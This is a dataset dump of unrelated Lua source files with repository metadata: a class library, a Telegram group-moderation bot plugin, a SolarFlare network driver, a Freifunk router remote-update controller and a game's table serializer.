game-shop-shop-galaxy/python-version/pkg.core/lua/30log.lua
12
3171
local assert, pairs, type, tostring, setmetatable = assert, pairs, type, tostring, setmetatable local baseMt, _instances, _classes, _class = {}, setmetatable({},{__mode='k'}), setmetatable({},{__mode='k'}) local function assert_class(class, method) assert(_classes[class], ('Wrong method call. Expected class:%s.'):format(method)) end local function deep_copy(t, dest, aType) t = t or {}; local r = dest or {} for k,v in pairs(t) do if aType and type(v)==aType then r[k] = v elseif not aType then if type(v) == 'table' and k ~= "__index" then r[k] = deep_copy(v) else r[k] = v end end end; return r end local function instantiate(self,...) assert_class(self, 'new(...) or class(...)'); local instance = {class = self}; _instances[instance] = tostring(instance); setmetatable(instance,self) if self.init then if type(self.init) == 'table' then deep_copy(self.init, instance) else self.init(instance, ...) end; end; return instance end local function extend(self, name, extra_params) assert_class(self, 'extend(...)'); local heir = {}; _classes[heir] = tostring(heir); deep_copy(extra_params, deep_copy(self, heir)); heir.name, heir.__index, heir.super = extra_params and extra_params.name or name, heir, self; return setmetatable(heir,self) end baseMt = { __call = function (self,...) return self:new(...) end, __tostring = function(self,...) if _instances[self] then return ("instance of '%s' (%s)"):format(rawget(self.class,'name') or '?', _instances[self]) end return _classes[self] and ("class '%s' (%s)"):format(rawget(self,'name') or '?',_classes[self]) or self end}; _classes[baseMt] = tostring(baseMt); setmetatable(baseMt, {__tostring = baseMt.__tostring}) local class = {isClass = function(class, ofsuper) local isclass = not not _classes[class]; if ofsuper then return isclass and (class.super == ofsuper) end; return isclass end, isInstance = function(instance, ofclass) local isinstance = not not _instances[instance]; if ofclass then return isinstance and (instance.class == ofclass) end; return isinstance end}; _class = function(name, attr) local c = deep_copy(attr); c.mixins=setmetatable({},{__mode='k'}); _classes[c] = tostring(c); c.name, c.__tostring, c.__call = name or c.name, baseMt.__tostring, baseMt.__call c.include = function(self,mixin) assert_class(self, 'include(mixin)'); self.mixins[mixin] = true; return deep_copy(mixin, self, 'function') end c.new, c.extend, c.__index, c.includes = instantiate, extend, c, function(self,mixin) assert_class(self,'includes(mixin)') return not not (self.mixins[mixin] or (self.super and self.super:includes(mixin))) end c.extends = function(self, class) assert_class(self, 'extends(class)') local super = self; repeat super = super.super until (super == class or super == nil); return class and (super == class) end return setmetatable(c, baseMt) end; class._DESCRIPTION = '30 lines library for object orientation in Lua'; class._VERSION = '30log v1.0.0'; class._URL = 'http://github.com/Yonaba/30log'; class._LICENSE = 'MIT LICENSE <http://www.opensource.org/licenses/mit-license.php>' return setmetatable(class,{__call = function(_,...) return _class(...) end })
mit
ashkanpj/seedfire
plugins/inrealm.lua
71
25005
-- data saved to moderation.json -- check moderation plugin do local function create_group(msg) -- superuser and admins only (because sudo are always has privilege) if is_sudo(msg) or is_realm(msg) and is_admin(msg) then local group_creator = msg.from.print_name create_group_chat (group_creator, group_name, ok_cb, false) return 'Group [ '..string.gsub(group_name, '_', ' ')..' ] has been created.' end end local function create_realm(msg) -- superuser and admins only (because sudo are always has privilege) if is_sudo(msg) or is_realm(msg) and is_admin(msg) then local group_creator = msg.from.print_name create_group_chat (group_creator, group_name, ok_cb, false) return 'Realm [ '..string.gsub(group_name, '_', ' ')..' ] has been created.' end end local function killchat(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function killrealm(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function get_group_type(msg) local data = load_data(_config.moderation.data) if data[tostring(msg.to.id)] then if not data[tostring(msg.to.id)]['group_type'] then return 'No group type available.' end local group_type = data[tostring(msg.to.id)]['group_type'] return group_type else return 'Chat type not found.' end end local function callbackres(extra, success, result) --vardump(result) local user = result.id local name = string.gsub(result.print_name, "_", " ") local chat = 'chat#id'..extra.chatid send_large_msg(chat, user..'\n'..name) return user end local function set_description(msg, data, target, about) if not is_admin(msg) then return "For admins only!" end local data_cat = 'description' data[tostring(target)][data_cat] = about save_data(_config.moderation.data, data) return 'Set group description to:\n'..about end local function set_rules(msg, data, target) if not is_admin(msg) then return "For admins only!" end local data_cat = 'rules' data[tostring(target)][data_cat] = rules save_data(_config.moderation.data, data) return 'Set group rules to:\n'..rules end -- lock/unlock group name. bot automatically change group name when locked local function lock_group_name(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'yes' then return 'Group name is already locked' else data[tostring(target)]['settings']['lock_name'] = 'yes' save_data(_config.moderation.data, data) rename_chat('chat#id'..target, group_name_set, ok_cb, false) return 'Group name has been locked' end end local function unlock_group_name(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'no' then return 'Group name is already unlocked' else data[tostring(target)]['settings']['lock_name'] = 'no' save_data(_config.moderation.data, data) return 'Group name has been unlocked' end end --lock/unlock group member. bot automatically kick new added user when locked local function lock_group_member(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'yes' then return 'Group members are already locked' else data[tostring(target)]['settings']['lock_member'] = 'yes' save_data(_config.moderation.data, data) end return 'Group members has been locked' end local function unlock_group_member(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'no' then return 'Group members are not locked' else data[tostring(target)]['settings']['lock_member'] = 'no' save_data(_config.moderation.data, data) return 'Group members has been unlocked' end end --lock/unlock group photo. bot automatically keep group photo when locked local function lock_group_photo(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] if group_photo_lock == 'yes' then return 'Group photo is already locked' else data[tostring(target)]['settings']['set_photo'] = 'waiting' save_data(_config.moderation.data, data) end return 'Please send me the group photo now' end local function unlock_group_photo(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] if group_photo_lock == 'no' then return 'Group photo is not locked' else data[tostring(target)]['settings']['lock_photo'] = 'no' save_data(_config.moderation.data, data) return 'Group photo has been unlocked' end end local function lock_group_flood(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'yes' then return 'Group flood is locked' else data[tostring(target)]['settings']['flood'] = 'yes' save_data(_config.moderation.data, data) return 'Group flood has been locked' end end local function unlock_group_flood(msg, data, target) if not is_admin(msg) then return "For admins only!" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'no' then return 'Group flood is not locked' else data[tostring(target)]['settings']['flood'] = 'no' save_data(_config.moderation.data, data) return 'Group flood has been unlocked' end end -- show group settings local function show_group_settings(msg, data, target) local data = load_data(_config.moderation.data, data) if not is_admin(msg) then return "For admins only!" end local settings = data[tostring(target)]['settings'] local text = "Group settings:\nLock group name : "..settings.lock_name.."\nLock group photo : "..settings.lock_photo.."\nLock group member : "..settings.lock_member return text end local function returnids(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name local text = 'Users in '..string.gsub(chatname,"_"," ")..' ('..result.id..'):'..'\n'..'' for k,v in pairs(result.members) do if v.print_name then local username = "" text = text .. "- " .. string.gsub(v.print_name,"_"," ") .. " (" .. v.id .. ") \n" end end send_large_msg(receiver, text) local file = io.open("./groups/lists/"..result.id.."memberlist.txt", "w") file:write(text) file:flush() file:close() end local function returnidsfile(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name local text = 'Users in '..string.gsub(chatname,"_"," ")..' ('..result.id..'):'..'\n'..'' for k,v in pairs(result.members) do if v.print_name then local username = "" text = text .. "- " .. string.gsub(v.print_name,"_"," ") .. " (" .. v.id .. ") \n" end end local file = io.open("./groups/lists/"..result.id.."memberlist.txt", "w") file:write(text) file:flush() file:close() send_document("chat#id"..result.id,"./groups/lists/"..result.id.."memberlist.txt", ok_cb, false) end local function admin_promote(msg, admin_id) if not is_sudo(msg) then return "Access denied!" end local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end if data[tostring(admins)][tostring(admin_id)] then return admin_name..' is already an admin.' end data[tostring(admins)][tostring(admin_id)] = admin_id save_data(_config.moderation.data, data) return admin_id..' has been promoted as admin.' end local function admin_demote(msg, admin_id) if not is_sudo(msg) then return "Access denied!" end local data = load_data(_config.moderation.data) local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end if not data[tostring(admins)][tostring(admin_id)] then return admin_id..' is not an admin.' end data[tostring(admins)][tostring(admin_id)] = nil save_data(_config.moderation.data, data) return admin_id..' has been demoted from admin.' end local function admin_list(msg) local data = load_data(_config.moderation.data) local admins = 'admins' if not data[tostring(admins)] then data[tostring(admins)] = {} save_data(_config.moderation.data, data) end local message = 'List for Realm admins:\n' for k,v in pairs(data[tostring(admins)]) do message = message .. '- (at)' .. v .. ' [' .. k .. '] ' ..'\n' end return message end local function groups_list(msg) local data = load_data(_config.moderation.data) local groups = 'groups' if not data[tostring(groups)] then return 'No groups at the moment' end local message = 'List of groups:\n' for k,v in pairs(data[tostring(groups)]) do local settings = data[tostring(v)]['settings'] for m,n in pairs(settings) do if m == 'set_name' then name = n end end local group_owner = "No owner" if data[tostring(v)]['set_owner'] then group_owner = tostring(data[tostring(v)]['set_owner']) end local group_link = "No link" if data[tostring(v)]['settings']['set_link'] then group_link = data[tostring(v)]['settings']['set_link'] end message = message .. '- '.. name .. ' (' .. v .. ') ['..group_owner..'] \n {'..group_link.."}\n" end local file = io.open("./groups/lists/groups.txt", "w") file:write(message) file:flush() file:close() return message end local function realms_list(msg) local data = load_data(_config.moderation.data) local realms = 'realms' if not data[tostring(realms)] then return 'No Realms at the moment' end local message = 'List of Realms:\n' for k,v in pairs(data[tostring(realms)]) do local settings = data[tostring(v)]['settings'] for m,n in pairs(settings) do if m == 'set_name' then name = n end end local group_owner = "No owner" if data[tostring(v)]['admins_in'] then group_owner = tostring(data[tostring(v)]['admins_in']) end local group_link = "No link" if data[tostring(v)]['settings']['set_link'] then group_link = data[tostring(v)]['settings']['set_link'] end message = message .. '- '.. name .. ' (' .. v .. ') ['..group_owner..'] \n {'..group_link.."}\n" end local file = io.open("./groups/lists/realms.txt", "w") file:write(message) file:flush() file:close() return message end local function admin_user_promote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) if not data['admins'] then data['admins'] = {} save_data(_config.moderation.data, data) end if data['admins'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is already as admin.') end data['admins'][tostring(member_id)] = member_username save_data(_config.moderation.data, data) return send_large_msg(receiver, '@'..member_username..' has been promoted as admin.') end local function admin_user_demote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) if not data['admins'] then data['admins'] = {} save_data(_config.moderation.data, data) end if not data['admins'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is not an admin.') end data['admins'][tostring(member_id)] = nil save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Admin '..member_username..' has been demoted.') end local function username_id(cb_extra, success, result) local mod_cmd = cb_extra.mod_cmd local receiver = cb_extra.receiver local member = cb_extra.member local text = 'No user @'..member..' in this group.' for k,v in pairs(result.members) do vusername = v.username if vusername == member then member_username = member member_id = v.id if mod_cmd == 'addadmin' then return admin_user_promote(receiver, member_username, member_id) elseif mod_cmd == 'removeadmin' then return admin_user_demote(receiver, member_username, member_id) end end end send_large_msg(receiver, text) end local function set_log_group(msg) if not is_admin(msg) then return end local log_group = data[tostring(groups)][tostring(msg.to.id)]['log_group'] if log_group == 'yes' then return 'Log group is already set' else data[tostring(groups)][tostring(msg.to.id)]['log_group'] = 'yes' save_data(_config.moderation.data, data) return 'Log group has been set' end end local function unset_log_group(msg) if not is_admin(msg) then return end local log_group = data[tostring(groups)][tostring(msg.to.id)]['log_group'] if log_group == 'no' then return 'Log group is already disabled' else data[tostring(groups)][tostring(msg.to.id)]['log_group'] = 'no' save_data(_config.moderation.data, data) return 'log group has been disabled' end end local function help() local help_text = tostring(_config.help_text_realm) return help_text end function run(msg, matches) --vardump(msg) local name_log = user_print_name(msg.from) if matches[1] == 'log' and is_owner(msg) then savelog(msg.to.id, "log file created by owner") send_document("chat#id"..msg.to.id,"./groups/"..msg.to.id.."log.txt", ok_cb, false) end if matches[1] == 'who' and is_momod(msg) then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] requested member list ") local receiver = get_receiver(msg) chat_info(receiver, returnidsfile, {receiver=receiver}) end if matches[1] == 'wholist' and is_momod(msg) then local name = user_print_name(msg.from) savelog(msg.to.id, name.." ["..msg.from.id.."] requested member list in a file") local receiver = get_receiver(msg) chat_info(receiver, returnids, {receiver=receiver}) end if matches[1] == 'creategroup' and matches[2] then group_name = matches[2] group_type = 'group' return create_group(msg) end if not is_sudo(msg) or not is_admin(msg) and not is_realm(msg) then return --Do nothing end if matches[1] == 'createrealm' and matches[2] then group_name = matches[2] group_type = 'realm' return create_realm(msg) end local data = load_data(_config.moderation.data) local receiver = get_receiver(msg) if matches[2] then if data[tostring(matches[2])] then local settings = data[tostring(matches[2])]['settings'] if matches[1] == 'setabout' and matches[2] then local target = matches[2] local about = matches[3] return set_description(msg, data, target, about) end if matches[1] == 'setrules' then rules = matches[3] local target = matches[2] return set_rules(msg, data, target) end if matches[1] == 'lock' then --group lock * local target = matches[2] if matches[3] == 'name' then return lock_group_name(msg, data, target) end if matches[3] == 'member' then return lock_group_member(msg, data, target) end if matches[3] == 'photo' then return lock_group_photo(msg, data, target) end if matches[3] == 'flood' then return lock_group_flood(msg, data, target) end end if matches[1] == 'unlock' then --group unlock * local target = matches[2] if matches[3] == 'name' then return unlock_group_name(msg, data, target) end if matches[3] == 'member' then return unlock_group_member(msg, data, target) end if matches[3] == 'photo' then return unlock_group_photo(msg, data, target) end if matches[3] == 'flood' then return unlock_group_flood(msg, data, target) end end if matches[1] == 'settings' and data[tostring(matches[2])]['settings'] then local target = matches[2] return show_group_settings(msg, data, target) end if matches[1] == 'setname' and is_realm(msg) then local new_name = string.gsub(matches[2], '_', ' ') data[tostring(msg.to.id)]['settings']['set_name'] = new_name save_data(_config.moderation.data, data) local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] local to_rename = 'chat#id'..msg.to.id rename_chat(to_rename, group_name_set, ok_cb, false) savelog(msg.to.id, "Realm { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") end if matches[1] == 'setgpname' and is_admin(msg) then local new_name = string.gsub(matches[3], '_', ' ') data[tostring(matches[2])]['settings']['set_name'] = new_name save_data(_config.moderation.data, data) local group_name_set = data[tostring(matches[2])]['settings']['set_name'] local to_rename = 'chat#id'..matches[2] rename_chat(to_rename, group_name_set, ok_cb, false) savelog(msg.to.id, "Group { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") end end end if matches[1] == 'help' and is_realm(msg) then savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /help") return help() end if matches[1] == 'set' then if matches[2] == 'loggroup' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] set as log group") return set_log_group(msg) end end if matches[1] == 'kill' and matches[2] == 'chat' then if not is_admin(msg) then return nil end if is_realm(msg) then local receiver = 'chat#id'..matches[3] return modrem(msg), print("Closing Group: "..receiver), chat_info(receiver, killchat, {receiver=receiver}) else return 'Error: Group '..matches[3]..' not found' end end if matches[1] == 'kill' and matches[2] == 'realm' then if not is_admin(msg) then return nil end if is_realm(msg) then local receiver = 'chat#id'..matches[3] return realmrem(msg), print("Closing realm: "..receiver), chat_info(receiver, killrealm, {receiver=receiver}) else return 'Error: Realm '..matches[3]..' not found' end end if matches[1] == 'chat_add_user' then if not msg.service then return "Are you trying to troll me?" end local user = 'user#id'..msg.action.user.id local chat = 'chat#id'..msg.to.id if not is_admin(msg) then chat_del_user(chat, user, ok_cb, true) end end if matches[1] == 'addadmin' then if string.match(matches[2], '^%d+$') then local admin_id = matches[2] print("user "..admin_id.." has been promoted as admin") return admin_promote(msg, admin_id) else local member = string.gsub(matches[2], "@", "") local mod_cmd = "addadmin" chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) end end if matches[1] == 'removeadmin' then if string.match(matches[2], '^%d+$') then local admin_id = matches[2] print("user "..admin_id.." has been demoted") return admin_demote(msg, admin_id) else local member = string.gsub(matches[2], "@", "") local mod_cmd = "removeadmin" chat_info(receiver, username_id, {mod_cmd= mod_cmd, receiver=receiver, member=member}) end end if matches[1] == 'type'then local group_type = get_group_type(msg) return group_type end if matches[1] == 'list' and matches[2] == 'admins' then return admin_list(msg) end if matches[1] == 'list' and matches[2] == 'groups' then if msg.to.type == 'chat' then groups_list(msg) send_document("chat#id"..msg.to.id, "./groups/lists/groups.txt", ok_cb, false) return "Group list created" --group_list(msg) elseif msg.to.type == 'user' then groups_list(msg) send_document("user#id"..msg.from.id, "./groups/lists/groups.txt", ok_cb, false) return "Group list created" --group_list(msg) end end if matches[1] == 'list' and matches[2] == 'realms' then if msg.to.type == 'chat' then realms_list(msg) send_document("chat#id"..msg.to.id, "./groups/lists/realms.txt", ok_cb, false) return "Realms list created" --realms_list(msg) elseif msg.to.type == 'user' then realms_list(msg) send_document("user#id"..msg.from.id, "./groups/lists/realms.txt", ok_cb, false) return "Realms list created" --realms_list(msg) end end if matches[1] == 'res' and is_momod(msg) then local cbres_extra = { chatid = msg.to.id } local username = matches[2] local username = username:gsub("@","") savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /res "..username) return res_user(username, callbackres, cbres_extra) end end return { patterns = { "^(creategroup) (.*)$", "^(createrealm) (.*)$", "^(setabout) (%d+) (.*)$", "^(setrules) (%d+) (.*)$", "^(setname) (.*)$", "^(setgpname) (%d+) (.*)$", "^(setname) (%d+) (.*)$", "^(lock) (%d+) (.*)$", "^(unlock) (%d+) (.*)$", "^(setting) (%d+)$", "^(wholist)$", "^(who)$", "^(type)$", "^(kill) (chat) (%d+)$", "^(kill) (realm) (%d+)$", "^(addadmin) (.*)$", -- sudoers only "^(removeadmin) (.*)$", -- sudoers only "^(list) (.*)$", "^(log)$", "^(help)$", "^!!tgservice (.+)$", }, run = run } end
gpl-2.0
snabbnfv-goodies/snabbswitch
src/apps/solarflare/solarflare.lua
15
10778
module(...,package.seeall) local lib = require("core.lib") local freelist = require("core.freelist") local packet = require("core.packet") require("apps.solarflare.ef_vi_h") local pci = require("lib.hardware.pci") local ethernet = require("lib.protocol.ethernet") local ffi = require("ffi") local C = ffi.C local RECEIVE_BUFFER_COUNT = 256 local FLUSH_RECEIVE_QUEUE_THRESHOLD = 32 local TX_BUFFER_COUNT = 256 local ciul = ffi.load("ciul") local ef_vi_version = ffi.string(ciul.ef_vi_version_str()) local required_ef_vi_version = "201502" if ef_vi_version ~= required_ef_vi_version then error(string.format("ef_vi library does not have the correct version identified, need %s, got %s", required_ef_vi_version, ef_vi_version)) end -- common utility functions ffi.cdef[[ char *strerror(int errnum); ]] local function try (rc, message) if rc < 0 then error(string.format("%s failed: %s", message, ffi.string(C.strerror(ffi.errno())))) end return rc end SolarFlareNic = {} SolarFlareNic.__index = SolarFlareNic SolarFlareNic.version = ef_vi_version -- The `driver' variable is used as a reference to the driver class in -- order to interchangably use NIC drivers. driver = SolarFlareNic function SolarFlareNic:new(args) if type(args) == "string" then args = config.parse_app_arg(args) end if not args.ifname then local device_info = pci.device_info(args.pciaddr) assert(device_info.interface, string.format("interface for chosen pci device %s is not up", args.pciaddr)) args.ifname = device_info.interface end if args.macaddr then self.mac_address = ethernet:pton(args.macaddr) end if args.vlan then self.vlan = args.vlan end args.receives_enqueued = 0 local dev = setmetatable(args, { __index = SolarFlareNic }) return dev:open() end function SolarFlareNic:enqueue_receive(id) self.rxpackets[id] = packet.allocate() try(self.ef_vi_receive_init(self.ef_vi_p, memory.virtual_to_physical(self.rxpackets[id].data), id), "ef_vi_receive_init") self.receives_enqueued = self.receives_enqueued + 1 end function SolarFlareNic:flush_receives(id) if self.receives_enqueued > 0 then self.ef_vi_receive_push(self.ef_vi_p) self.receives_enqueued = 0 end end function SolarFlareNic:enqueue_transmit(p) assert(self.tx_packets[self.tx_id] == nil, "tx buffer overrun") self.tx_packets[self.tx_id] = p try(ciul.ef_vi_transmit_init(self.ef_vi_p, memory.virtual_to_physical(p.data), p.length, self.tx_id), "ef_vi_transmit_init") self.tx_id = (self.tx_id + 1) % TX_BUFFER_COUNT self.tx_space = self.tx_space - 1 end function SolarFlareNic:open() local try_ = try local function try (rc, message) return try_(rc, string.format("%s (if=%s)", message, self.ifname)) end local handle_p = ffi.new("ef_driver_handle[1]") try(ciul.ef_driver_open(handle_p), "ef_driver_open") self.driver_handle = handle_p[0] self.pd_p = ffi.new("ef_pd[1]") if not self.vlan then self.vlan = C.EF_PD_VLAN_NONE end try(ciul.ef_pd_alloc_with_vport(self.pd_p, self.driver_handle, self.ifname, C.EF_PD_DEFAULT + C.EF_PD_PHYS_MODE, self.vlan), "ef_pd_alloc_by_name") self.ef_vi_p = ffi.new("ef_vi[1]") try(ciul.ef_vi_alloc_from_pd(self.ef_vi_p, self.driver_handle, self.pd_p, self.driver_handle, -1, -1, -1, nil, -1, C.EF_VI_TX_PUSH_DISABLE), "ef_vi_alloc_from_pd") self.ef_vi_p[0].rx_buffer_len = C.PACKET_PAYLOAD_SIZE local env_mac = os.getenv("SF_MAC") if not self.mac_address then if env_mac then self.mac_address = ethernet:pton(env_mac) else self.mac_address = ffi.new("unsigned char[6]") try(ciul.ef_vi_get_mac(self.ef_vi_p, self.driver_handle, self.mac_address), "ef_vi_get_mac") end end self.mtu = try(ciul.ef_vi_mtu(self.ef_vi_p, self.driver_handle)) filter_spec_p = ffi.new("ef_filter_spec[1]") ciul.ef_filter_spec_init(filter_spec_p, C.EF_FILTER_FLAG_NONE) try(ciul.ef_filter_spec_set_eth_local(filter_spec_p, C.EF_FILTER_VLAN_ID_ANY, self.mac_address), "ef_filter_spec_set_eth_local") try(ciul.ef_vi_filter_add(self.ef_vi_p, self.driver_handle, filter_spec_p, nil), "ef_vi_filter_add") filter_spec_p = ffi.new("ef_filter_spec[1]") ciul.ef_filter_spec_init(filter_spec_p, C.EF_FILTER_FLAG_NONE) try(ciul.ef_filter_spec_set_multicast_all(filter_spec_p), "ef_filter_spec_set_set_mulicast_all") try(ciul.ef_vi_filter_add(self.ef_vi_p, self.driver_handle, filter_spec_p, nil), "ef_vi_filter_add") self.memregs = {} -- cache ops self.ef_vi_receive_init = self.ef_vi_p[0].ops.receive_init self.ef_vi_receive_push = self.ef_vi_p[0].ops.receive_push self.ef_vi_transmit_push = self.ef_vi_p[0].ops.transmit_push -- set up poll exchange structures self.poll_structure = ffi.new("struct device") self.poll_structure.vi = self.ef_vi_p -- register device with poller C.add_device(self.poll_structure, ciul.ef_vi_transmit_unbundle) -- initialize statistics self.stats = {} -- set up receive buffers self.rxpackets = ffi.new("struct packet *[?]", RECEIVE_BUFFER_COUNT + 1) for id = 1, RECEIVE_BUFFER_COUNT do self.enqueue_receive(self, id) end self.flush_receives(self) -- set up transmit variables self.tx_packets = ffi.new("struct packet *[?]", TX_BUFFER_COUNT + 1) ffi.fill(self.tx_packets, ffi.sizeof(self.tx_packets), 0) self.tx_id = 0 self.tx_space = TX_BUFFER_COUNT -- Done print(string.format("Opened SolarFlare interface %s (MAC address %02x:%02x:%02x:%02x:%02x:%02x, MTU %d)", self.ifname, self.mac_address[0], self.mac_address[1], self.mac_address[2], self.mac_address[3], self.mac_address[4], self.mac_address[5], self.mtu)) return self end function SolarFlareNic:stop() C.drop_device(self.poll_structure); try(ciul.ef_vi_free(self.ef_vi_p, self.driver_handle), "ef_vi_free") try(ciul.ef_pd_free(self.pd_p, self.driver_handle), "ef_pd_free") try(ciul.ef_driver_close(self.driver_handle), "ef_driver_close") end local need_poll = 1 local band = bit.band function SolarFlareNic:pull() if need_poll == 1 then C.poll_devices() need_poll = 0 end self.stats.pull = (self.stats.pull or 0) + 1 repeat local n_ev = self.poll_structure.n_ev if n_ev > 0 then for i = 0, n_ev - 1 do local event_type = self.poll_structure.events[i].generic.type if event_type == C.EF_EVENT_TYPE_RX then local rxpacket = self.rxpackets[self.poll_structure.events[i].rx.rq_id] rxpacket.length = self.poll_structure.events[i].rx.len self.stats.rx = (self.stats.rx or 0) + 1 if not link.full(self.output.tx) then link.transmit(self.output.tx, rxpacket) else self.stats.link_full = (self.stats.link_full or 0) + 1 packet.free(rxpacket) end self.enqueue_receive(self, self.poll_structure.events[i].rx.rq_id) elseif event_type == C.EF_EVENT_TYPE_TX then local n_tx_done = self.poll_structure.unbundled_tx_request_ids[i].n_tx_done self.stats.txpackets = (self.stats.txpackets or 0) + n_tx_done for j = 0, (n_tx_done - 1) do local id = self.poll_structure.unbundled_tx_request_ids[i].tx_request_ids[j] packet.free(self.tx_packets[id]) self.tx_packets[id] = nil end self.tx_space = self.tx_space + n_tx_done elseif event_type == C.EF_EVENT_TYPE_TX_ERROR then self.stats.tx_error = (self.stats.tx_error or 0) + 1 else error("Unexpected event, type " .. event_type) end end end if self.receives_enqueued >= FLUSH_RECEIVE_QUEUE_THRESHOLD then self.stats.rx_flushes = (self.stats.rx_flushes or 0) + 1 self.flush_receives(self) end until n_ev < C.EVENTS_PER_POLL end function SolarFlareNic:push() need_poll = 1 self.stats.push = (self.stats.push or 0) + 1 local l = self.input.rx local push = not link.empty(l) while not link.empty(l) and self.tx_space >= 1 do self.enqueue_transmit(self, link.receive(l)) end if push then self.ef_vi_transmit_push(self.ef_vi_p) end if link.empty(l) then self.stats.link_empty = (self.stats.link_empty or 0) + 1 end if not link.empty(l) and self.tx_space < 1 then self.stats.no_tx_space = (self.stats.no_tx_space or 0) + 1 end end function spairs(t, order) -- collect the keys local keys = {} for k in pairs(t) do keys[#keys+1] = k end -- if order function given, sort by it by passing the table and keys a, b, -- otherwise just sort the keys if order then table.sort(keys, function(a,b) return order(t, a, b) end) else table.sort(keys) end -- return the iterator function local i = 0 return function() i = i + 1 if keys[i] then return keys[i], t[keys[i]] end end end function SolarFlareNic:report() print("report on solarflare device", self.ifname) for name,value in spairs(self.stats) do io.write(string.format('%s: %d ', name, value)) end io.write("\n") self.stats = {} end assert(C.CI_PAGE_SIZE == 4096, "unexpected C.CI_PAGE_SIZE, needs to be 4096") assert(ffi.sizeof("ef_event") == 16)
apache-2.0
RedSnake64/openwrt-luci-packages
modules/luci-mod-freifunk/luasrc/controller/freifunk/remote_update.lua
68
1475
-- Copyright 2009 Jo-Philipp Wich <jow@openwrt.org> -- Licensed to the public under the Apache License 2.0. module("luci.controller.freifunk.remote_update", package.seeall) function index() if not nixio.fs.access("/usr/sbin/remote-update") then return end entry({"admin", "system", "remote_update"}, call("act_remote_update"), _("Freifunk Remote Update"), 90) end function act_remote_update() if luci.http.formvalue("flash") == "1" then if luci.http.formvalue("confirm") == "1" then local nobackup = ( luci.http.formvalue("keepcfg") ~= "1" ) local noverify = ( luci.http.formvalue("verify") ~= "1" ) luci.http.redirect("/luci-static/flashing.html") os.execute("start-stop-daemon -S -b -x /usr/sbin/remote-update -- %s%s-s 5 -y" % { noverify and "-v " or "", nobackup and "-n " or "" }) else luci.template.render("freifunk/remote_update", {confirm=1}) end else local fd = io.popen("remote-update -c") local update = { } if fd then while true do local ln=fd:read("*l") if not ln then break elseif ln:find("Local: ") then update.locvar = ln:match("Local: (%d+)") elseif ln:find("Remote: ") then update.remver = ln:match("Remote: (%d+)") elseif ln == "--" then update.info = "" elseif update.info ~= nil then update.info = update.info .. ln .. "\n" end end fd:close() end luci.template.render("freifunk/remote_update", {update=update}) end end
apache-2.0
bsmr-games/lipsofsuna
data/lipsofsuna/core/introspect/types/table.lua
1
1542
return { name = "table", equals = function(self, val1, val2) -- TODO end, validate = function(self, val) return type(val) == "table" and not val.class end, write_str = function(self, val) local write_table local write_value = function(v) return self.types_dict["generic"].write_str(self, v) end local write_named = function(k, v) local s = write_value(v) if type(k) ~= "string" then return string.format("[%s] = %s", tostring(k), s) elseif string.match(k, "^[a-z_]*$") then return string.format("%s = %s", k, s) else return string.format("[%q] = %s", k, s) end end write_table = function(t) -- Get the positional and named fields. local lst1 = {} local lst2 = {} for k,v in ipairs(t) do table.insert(lst1, v) end for k,v in pairs(t) do if type(k) ~= "number" or k > #lst1 then table.insert(lst2, {k, v}) end end table.sort(lst2, function(a,b) return a[1] < b[1] end) -- Write the positional fields. local str = "{" local first = true for k,v in ipairs(lst1) do local s = write_value(v) if first then str = string.format("%s%s", str, s) first = false else str = string.format("%s, %s", str, s) end end -- Write the named fields. for k,v in ipairs(lst2) do local s = write_named(v[1], v[2]) if first then str = string.format("%s%s", str, s) first = false else str = string.format("%s, %s", str, s) end end return str .. "}" end return write_table(val) end}
gpl-3.0
koeppea/ettercap
src/lua/share/scripts/http_inject2_demo.lua
9
7194
